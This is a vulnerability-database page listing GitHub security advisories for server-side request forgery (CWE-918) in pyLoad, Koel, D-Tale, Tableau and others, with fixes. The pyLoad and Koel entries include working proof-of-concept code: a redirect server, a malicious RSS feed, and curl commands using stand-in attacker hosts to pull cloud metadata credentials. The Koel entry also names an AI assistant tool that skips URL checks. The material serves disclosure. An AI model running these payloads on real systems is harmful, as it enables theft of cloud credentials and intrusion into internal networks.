CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4787 vulnerabilities reference this CWE, most recent first.
GHSA-7GVF-3W72-P2PG
Vulnerability from github – Published: 2026-04-04 06:41 – Updated: 2026-04-06 23:44Summary
The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.
An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.
Root Cause
The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:
dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
self.fail(...)
else:
for ip in host_to_ip(dl_hostname):
if not is_global_address(ip):
self.fail(...)
After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)
No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.
PoC
Redirect server (attacker-controlled):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
Submit to pyload (requires ADD permission):
curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
-d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'
The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.
Impact
An authenticated user with ADD permission can access:
- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
- Internal network services (10.x, 172.16.x, 192.168.x)
- Localhost services (127.0.0.1)
This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.
Suggested Fix
Disable automatic redirect following and validate each redirect target:
# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)
Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:
self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)
And add a pycurl callback to validate redirect destination IPs before following.
Resources
- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev96"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35459"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:41:08Z",
"nvd_published_at": "2026-04-06T20:16:28Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.\n\nAn authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.\n\n## Root Cause\n\nThe SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL:\n\n dl_hostname = urllib.parse.urlparse(dl_url).hostname\n if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):\n self.fail(...)\n else:\n for ip in host_to_ip(dl_hostname):\n if not is_global_address(ip):\n self.fail(...)\n\nAfter the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects:\n\n self.c.setopt(pycurl.FOLLOWLOCATION, 1)\n self.c.setopt(pycurl.MAXREDIRS, 10)\n\nNo `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.\n\n## PoC\n\nRedirect server (attacker-controlled):\n\n from http.server import HTTPServer, BaseHTTPRequestHandler\n\n class RedirectHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(302)\n self.send_header(\"Location\", \"http://169.254.169.254/metadata/v1.json\")\n self.end_headers()\n\n HTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n\nSubmit to pyload (requires ADD permission):\n\n curl -b cookies.txt -X POST \u0027http://target:8000/json/add_package\u0027 \\\n -d \u0027add_name=ssrf-test\u0026add_dest=1\u0026add_links=http://attacker.com:8888/redirect\u0027\n\nThe SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder.\n\n## Impact\n\nAn authenticated user with ADD permission can access:\n\n- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure \u2014 including IAM credentials and instance identity\n- Internal network services (10.x, 172.16.x, 192.168.x)\n- Localhost services (127.0.0.1)\n\nThis is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.\n\n## Suggested Fix\n\nDisable automatic redirect following and validate each redirect target:\n\n # In HTTPRequest.__init__():\n self.c.setopt(pycurl.FOLLOWLOCATION, 0)\n\nThen implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:\n\n self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)\n\nAnd add a pycurl callback to validate redirect destination IPs before following.\n\n## Resources\n\n- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.",
"id": "GHSA-7gvf-3w72-p2pg",
"modified": "2026-04-06T23:44:01Z",
"published": "2026-04-04T06:41:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33992"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35459"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/33c55da084320430edfd941b60e3da0eb1be9443"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)"
}
GHSA-7GX3-FR27-7GX9
Vulnerability from github – Published: 2024-05-01 21:30 – Updated: 2024-07-03 18:38An issue was discovered in Teledyne FLIR M300 2.00-19. Unauthenticated remote code execution can occur in the web server. An attacker can exploit this by sending a POST request to the vulnerable PHP page. An attacker can elevate to root permissions with Sudo.
{
"affected": [],
"aliases": [
"CVE-2023-46295"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-01T20:15:12Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Teledyne FLIR M300 2.00-19. Unauthenticated remote code execution can occur in the web server. An attacker can exploit this by sending a POST request to the vulnerable PHP page. An attacker can elevate to root permissions with Sudo.",
"id": "GHSA-7gx3-fr27-7gx9",
"modified": "2024-07-03T18:38:30Z",
"published": "2024-05-01T21:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46295"
},
{
"type": "WEB",
"url": "https://gitlab.com/loudmouth-security/vulnerability-disclosures/cve-2023-46295"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7HC9-VJG2-VPCR
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32A Server-Side Request Forgery (SSRF) vulnerability was discovered in haotian-liu/llava, affecting version git c121f04. This vulnerability allows an attacker to make the server perform HTTP requests to arbitrary URLs, potentially accessing sensitive data that is only accessible from the server, such as AWS metadata credentials.
{
"affected": [],
"aliases": [
"CVE-2024-12068"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:27Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability was discovered in haotian-liu/llava, affecting version git c121f04. This vulnerability allows an attacker to make the server perform HTTP requests to arbitrary URLs, potentially accessing sensitive data that is only accessible from the server, such as AWS metadata credentials.",
"id": "GHSA-7hc9-vjg2-vpcr",
"modified": "2025-03-20T12:32:42Z",
"published": "2025-03-20T12:32:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12068"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/9d0b908d-63cd-4d62-91ff-6ceef3183752"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7HFX-H3J3-RWQ4
Vulnerability from github – Published: 2024-01-05 21:21 – Updated: 2024-01-08 14:58Impact
Users hosting D-Tale publicly can be vulnerable to server-side request forgery (SSRF) allowing attackers to access files on the server.
Patches
Users should upgrade to version 3.9.0 where the "Load From the Web" input is turned off by default. You can find out more information on how to turn it back on here
Workarounds
The only workaround for versions earlier than 3.9.0 is to only host D-Tale to trusted users.
References
See "Load Data & Sample Datasets" documentation
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dtale"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-21642"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-05T21:21:40Z",
"nvd_published_at": "2024-01-05T22:15:43Z",
"severity": "HIGH"
},
"details": "### Impact\nUsers hosting D-Tale publicly can be vulnerable to server-side request forgery (SSRF) allowing attackers to access files on the server.\n\n### Patches\nUsers should upgrade to version 3.9.0 where the \"Load From the Web\" input is turned off by default. You can find out more information on how to turn it back on [here](https://github.com/man-group/dtale?tab=readme-ov-file#load-data--sample-datasets)\n\n### Workarounds\nThe only workaround for versions earlier than 3.9.0 is to only host D-Tale to trusted users.\n\n### References\nSee \"Load Data \u0026 Sample Datasets\" [documentation](https://github.com/man-group/dtale?tab=readme-ov-file#load-data--sample-datasets)\n",
"id": "GHSA-7hfx-h3j3-rwq4",
"modified": "2024-01-08T14:58:50Z",
"published": "2024-01-05T21:21:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/man-group/dtale/security/advisories/GHSA-7hfx-h3j3-rwq4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21642"
},
{
"type": "WEB",
"url": "https://github.com/man-group/dtale/commit/954f6be1a06ff8629ead2c85c6e3f8e2196b3df2"
},
{
"type": "PACKAGE",
"url": "https://github.com/man-group/dtale"
},
{
"type": "WEB",
"url": "https://github.com/man-group/dtale?tab=readme-ov-file#load-data--sample-datasets"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "D-Tale server-side request forgery through Web uploads"
}
GHSA-7HGH-752M-38MJ
Vulnerability from github – Published: 2022-05-17 00:12 – Updated: 2022-05-17 00:12A Server Side Request Forgery (SSRF) vulnerability could lead to remote code execution for authenticated administrators. This issue was introduced in version 2.2.0 of Hipchat Server and version 3.0.0 of Hipchat Data Center. Versions of Hipchat Server starting with 2.2.0 and before 2.2.6 are affected by this vulnerability. Versions of Hipchat Data Center starting with 3.0.0 and before 3.1.0 are affected.
{
"affected": [],
"aliases": [
"CVE-2017-14585"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-27T16:29:00Z",
"severity": "HIGH"
},
"details": "A Server Side Request Forgery (SSRF) vulnerability could lead to remote code execution for authenticated administrators. This issue was introduced in version 2.2.0 of Hipchat Server and version 3.0.0 of Hipchat Data Center. Versions of Hipchat Server starting with 2.2.0 and before 2.2.6 are affected by this vulnerability. Versions of Hipchat Data Center starting with 3.0.0 and before 3.1.0 are affected.",
"id": "GHSA-7hgh-752m-38mj",
"modified": "2022-05-17T00:12:15Z",
"published": "2022-05-17T00:12:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14585"
},
{
"type": "WEB",
"url": "https://confluence.atlassian.com/hc/hipchat-server-security-advisory-2017-11-22-939946293.html"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/HCPUB-3526"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101945"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7HJP-7485-CFWX
Vulnerability from github – Published: 2025-07-25 21:33 – Updated: 2025-07-25 21:33Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Flow Data Source modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.
{
"affected": [],
"aliases": [
"CVE-2025-52453"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T19:15:41Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Flow Data Source modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.",
"id": "GHSA-7hjp-7485-cfwx",
"modified": "2025-07-25T21:33:50Z",
"published": "2025-07-25T21:33:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52453"
},
{
"type": "WEB",
"url": "https://help.salesforce.com/s/articleView?id=005105043\u0026type=1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7HR8-H96W-3444
Vulnerability from github – Published: 2025-08-25 00:31 – Updated: 2025-08-25 00:31A vulnerability was identified in wangsongyan wblog 0.0.1. This affects the function RestorePost of the file backup.go. Such manipulation of the argument fileName leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-9395"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-24T22:15:28Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in wangsongyan wblog 0.0.1. This affects the function RestorePost of the file backup.go. Such manipulation of the argument fileName leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-7hr8-h96w-3444",
"modified": "2025-08-25T00:31:14Z",
"published": "2025-08-25T00:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9395"
},
{
"type": "WEB",
"url": "https://github.com/on-theway/wblog/blob/main/README.md"
},
{
"type": "WEB",
"url": "https://github.com/on-theway/wblog/blob/main/README.md#vulnerability-details-and-poc"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.321231"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.321231"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.632367"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7J24-FPJP-3CMX
Vulnerability from github – Published: 2025-02-20 12:31 – Updated: 2025-02-20 12:31The Embed Any Document – Embed PDF, Word, PowerPoint and Excel Files plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.5 via the 'embeddoc' shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-1043"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-20T12:15:11Z",
"severity": "MODERATE"
},
"details": "The Embed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.5 via the \u0027embeddoc\u0027 shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-7j24-fpjp-3cmx",
"modified": "2025-02-20T12:31:15Z",
"published": "2025-02-20T12:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1043"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3242370/embed-any-document"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b9f8c600-d62d-4f27-ba73-1a77a63859bc?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7J2F-6H2R-6CQC
Vulnerability from github – Published: 2026-05-29 19:56 – Updated: 2026-06-12 22:01Summary
Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services.
Vulnerability Details
Episode URL Stored Without Validation
File: app/Services/Podcast/PodcastService.php, line 146
'path' => $episodeValue->enclosure->url, // Unvalidated URL from RSS XML
The SafeUrl rule is applied to the podcast feed URL at subscription time (SubscribeToPodcastRequest), but episode enclosure URLs parsed from the feed XML are stored as-is.
SSRF Trigger: Full Content Download
File: app/Values/Podcast/EpisodePlayable.php, line 42
Http::sink($file)->get($episode->path)->throw();
When an episode is played, PodcastStreamerAdapter::stream() first attempts getStreamableUrl() (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body and streams it back to the user.
SafeUrl Applied Only to Feed URL
File: app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php
public function rules(): array
{
return ['url' => ['required', 'url:http,https', new SafeUrl]];
}
The SafeUrl rule (app/Rules/SafeUrl.php) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed.
Attack Flow
- Attacker registers an account (Community edition, no Plus required)
- Attacker hosts a malicious RSS feed on a public server:
xml <rss version="2.0"> <channel> <title>Legit Podcast</title> <item> <title>Episode 1</title> <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" type="audio/mpeg" length="1000"/> <guid>ssrf-1</guid> </item> </channel> </rss> POST /api/podcastswithurl=https://evil.com/feed.xml— passesSafeUrl(public URL)- Koel parses feed, stores episode with
path = http://169.254.169.254/... - Attacker plays episode:
GET /play/{episode_id} - Server executes
Http::sink($file)->get("http://169.254.169.254/...") - AWS metadata response downloaded to disk, streamed back to attacker
Proof of Concept
#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast
KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"
# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
-H "Authorization: Bearer $API_TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "https://attacker.com/feed.xml"}'
# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
-H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')
# Play the episode — triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin
cat response.bin
# Expected: AWS metadata / internal service response
Impact
- Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)
- Internal network reconnaissance: Scan ports and enumerate internal HTTP services
- Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces
- Full response body: Unlike blind SSRF, the entire response is returned to the attacker
Secondary Finding: SSRF Bypass via AI Radio Station Tool
File: app/Ai/Tools/AddRadioStation.php, lines 35-38
The AI assistant's AddRadioStation tool creates radio stations by calling RadioService::createRadioStation() directly, bypassing the SafeUrl and HasAudioContentType validation rules that protect the REST API endpoint.
Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH.
Novelty Check
- No existing CVEs found for Koel (searched NVD, GitHub Advisories, web)
- No SECURITY.md in the repository
- This is a novel vulnerability
Remediation
Fix 1: Validate episode enclosure URLs in synchronizeEpisodes():
foreach ($episodeCollection as $episodeValue) {
$enclosureUrl = $episodeValue->enclosure->url;
$host = parse_url($enclosureUrl, PHP_URL_HOST);
if (!$host || !Network::isPublicHost($host)) {
continue; // Skip episodes with non-public URLs
}
// ... rest of episode creation
}
Fix 2: Defense-in-depth validation at playback time in EpisodePlayable::createForEpisode().
Fix 3: Add SafeUrl validation in AddRadioStation AI tool.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.3.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phanan/koel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47260"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T19:56:06Z",
"nvd_published_at": "2026-06-12T20:16:46Z",
"severity": "HIGH"
},
"details": "## Summary\n\nKoel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `\u003cenclosure url=\"...\"\u003e` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()-\u003eget()` and streams it back to the user, enabling full-read SSRF against internal services.\n\n---\n\n## Vulnerability Details\n\n### Episode URL Stored Without Validation\n\n**File:** `app/Services/Podcast/PodcastService.php`, line 146\n\n```php\n\u0027path\u0027 =\u003e $episodeValue-\u003eenclosure-\u003eurl, // Unvalidated URL from RSS XML\n```\n\nThe `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is.\n\n### SSRF Trigger: Full Content Download\n\n**File:** `app/Values/Podcast/EpisodePlayable.php`, line 42\n\n```php\nHttp::sink($file)-\u003eget($episode-\u003epath)-\u003ethrow();\n```\n\nWhen an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won\u0027t have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user.\n\n### SafeUrl Applied Only to Feed URL\n\n**File:** `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php`\n\n```php\npublic function rules(): array\n{\n return [\u0027url\u0027 =\u003e [\u0027required\u0027, \u0027url:http,https\u0027, new SafeUrl]];\n}\n```\n\nThe `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL \u2014 not the content within the feed.\n\n---\n\n## Attack Flow\n\n1. Attacker registers an account (Community edition, no Plus required)\n2. Attacker hosts a malicious RSS feed on a public server:\n ```xml\n \u003crss version=\"2.0\"\u003e\n \u003cchannel\u003e\n \u003ctitle\u003eLegit Podcast\u003c/title\u003e\n \u003citem\u003e\n \u003ctitle\u003eEpisode 1\u003c/title\u003e\n \u003cenclosure url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n type=\"audio/mpeg\" length=\"1000\"/\u003e\n \u003cguid\u003essrf-1\u003c/guid\u003e\n \u003c/item\u003e\n \u003c/channel\u003e\n \u003c/rss\u003e\n ```\n3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` \u2014 passes `SafeUrl` (public URL)\n4. Koel parses feed, stores episode with `path = http://169.254.169.254/...`\n5. Attacker plays episode: `GET /play/{episode_id}`\n6. Server executes `Http::sink($file)-\u003eget(\"http://169.254.169.254/...\")`\n7. AWS metadata response downloaded to disk, streamed back to attacker\n\n---\n\n## Proof of Concept\n\n```bash\n#!/bin/bash\n# PoC: Koel SSRF via Podcast Episode Enclosure URL\n# Step 1: Host malicious RSS feed (feed.xml) on attacker server\n# Step 2: Subscribe to the podcast\n\nKOEL_URL=\"https://TARGET\"\nAPI_TOKEN=\"\u003capi_token\u003e\"\n\n# Subscribe to malicious podcast\ncurl -X POST \"$KOEL_URL/api/podcasts\" \\\n -H \"Authorization: Bearer $API_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"https://attacker.com/feed.xml\"}\u0027\n\n# List episodes to get the episode ID\nEPISODE_ID=$(curl -s \"$KOEL_URL/api/podcasts\" \\\n -H \"Authorization: Bearer $API_TOKEN\" | jq -r \u0027.[0].episodes[0].id\u0027)\n\n# Play the episode \u2014 triggers SSRF, returns internal service response\ncurl \"$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN\" -o response.bin\n\ncat response.bin\n# Expected: AWS metadata / internal service response\n```\n\n---\n\n## Impact\n\n- **Cloud credential theft:** Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)\n- **Internal network reconnaissance:** Scan ports and enumerate internal HTTP services\n- **Data exfiltration:** Read responses from internal APIs, admin panels, databases with HTTP interfaces\n- **Full response body:** Unlike blind SSRF, the entire response is returned to the attacker\n\n---\n\n## Secondary Finding: SSRF Bypass via AI Radio Station Tool\n\n**File:** `app/Ai/Tools/AddRadioStation.php`, lines 35-38\n\nThe AI assistant\u0027s `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint.\n\n**Impact:** Same SSRF but requires Plus license. CVSS 7.7 HIGH.\n\n---\n\n## Novelty Check\n\n- **No existing CVEs found for Koel** (searched NVD, GitHub Advisories, web)\n- **No SECURITY.md** in the repository\n- **This is a novel vulnerability**\n\n---\n\n## Remediation\n\n**Fix 1:** Validate episode enclosure URLs in `synchronizeEpisodes()`:\n\n```php\nforeach ($episodeCollection as $episodeValue) {\n $enclosureUrl = $episodeValue-\u003eenclosure-\u003eurl;\n $host = parse_url($enclosureUrl, PHP_URL_HOST);\n if (!$host || !Network::isPublicHost($host)) {\n continue; // Skip episodes with non-public URLs\n }\n // ... rest of episode creation\n}\n```\n\n**Fix 2:** Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`.\n\n**Fix 3:** Add `SafeUrl` validation in `AddRadioStation` AI tool.",
"id": "GHSA-7j2f-6h2r-6cqc",
"modified": "2026-06-12T22:01:12Z",
"published": "2026-05-29T19:56:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47260"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/commit/be1e867982dcadefd4a75d768ce950b1d5234cdf"
},
{
"type": "PACKAGE",
"url": "https://github.com/koel/koel"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs"
}
GHSA-7JGW-FHVX-QFXF
